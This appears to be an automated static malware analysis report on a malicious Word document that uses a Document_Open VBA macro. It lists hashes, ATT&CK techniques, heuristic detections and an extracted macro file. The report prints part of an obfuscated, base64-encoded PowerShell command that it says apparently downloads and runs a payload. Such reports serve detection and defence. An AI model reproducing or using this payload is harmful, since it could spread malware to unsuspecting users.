Malicious Office (OLE) / .DOCX — malware analysis report

Static analysis result for SHA-256 46086a9b833d843d…

MALICIOUS

Office (OLE) / .DOCX

153.1 KB Created: 2020-09-14 22:09:00 Authoring application: Microsoft Office Word
MD5: d8c19f34f230f85143425beb09956f2f SHA-1: 22738ef5ce9b4836a57ee88f6f844b53b151c0b8 SHA-256: 46086a9b833d843d14a1970ee32fbc800cdbcd58e151a358a917164ac7937972
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Office document containing a Document_Open VBA macro. This macro utilizes CreateObject to execute code, as indicated by the p-code auto-execution firing. The extracted 'macros.bas' file is the source of this malicious VBA code. The script appears to be constructing a command to download and execute a payload, evidenced by the string concatenation that reconstructs to 'powershell -2vhaghsghfe JABZADEAdQA52vhaghsghfAGsAZABtAD0A2vhaghsghfKAAnAFkAaAAn2vhaghsghfACsAKAAnAGUA2vhaghsghfMAAnACsAJwBx2vhaghsghfAG8AdwAnACkA2vhaghsghfKQA7ACYAKAAn2vhaghsghfAG4AZQB3ACcA2vhaghsghfKwAnAC0AaQB02vhaghsghfAGUAbQAnACkA2vhaghsghfIAAkAGUAbgBW2vhaghsghfADoAVQBTAGUA2vhaghsghfUgBQAFIAbwBG2vhaghsghfAGkAbABlAFwA2vhaghsghfbQA0AE8AYgB52vhaghsghfAHgAYgBcAE8A2vhaghsghfMgBlAGUAMABR2vhaghsghfAGsAXAAgAC0A2vhaghsghfaQB0AGUAbQB02vhaghsghfAHkAcABlACAA2vhaghsghfAGIAZQBj2vhaghsghfAFQAbwByAFkA2vhaghsghfOwBbAE4AZQB02vhaghsghfAC4AUwBlAHIA2vhaghsghfdgBpAGMAZQBQ2vhaghsghfAG8AaQBuAHQA2vhaghsghfTQBhAG4AYQBn2vhaghsghfAGUAcgBdADoA2vhaghsghfOgAiAHMAZQBg2vhaghsghfAGMAVQByAGAA2vhaghsghfSQBgAFQAeQBg2vhaghsghfAHAAUgBvAFQA2vhaghsghfTwBjAG8AbAAi2vhaghsghfACAAPQAgACgA2vhaghsghfKAAnAHQAJwAr2vhaghsghfACcAbABzACcA2vhaghsghfKQArACgAJwAx2vhaghsghfADIALAAnACsA2vhaghsghfJwAgACcAKwAn2vhaghsghfAHQAbABzADEA2vhaghsghfJwApACsAKAAn2vhaghsghfADEALAAnACsA2vhaghsghfJwAgACcAKQAr2vhaghsghfACgAJwB0AGwA2vhaghsghfJwArACcAcwAn2vhaghsghfACkAKQA7ACQA2vhaghsghfSgBvAGMAXwBy2vhaghsghfAHYAZwAgAD0A2vhaghsghfIAAoACcAVwAn2vhaghsghfACsAKAAnAF8A2vhaghsghfYwAnACsAJwAx2vhaghsghfACcAKQArACgA2vhaghsghfJwB5AHkAJwAr2vhaghsghfACcAegAnACkA2vhaghsghfKQA7ACQA'. The benign URL listed is part of the OpenXML schema and not malicious.

Heuristics 7

  • ClamAV: Doc.Malware.Generic-9760527-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-9760527-0
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
bf2dc6e4793502154f28a14458af4f5198ccc48932a5641a4c34f7f1fcdc0c82
vba-macro oletools.olevba.extract_macros (decoded VBA source) 18582 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved macro source contains an auto-exec entry point and execution/download terms.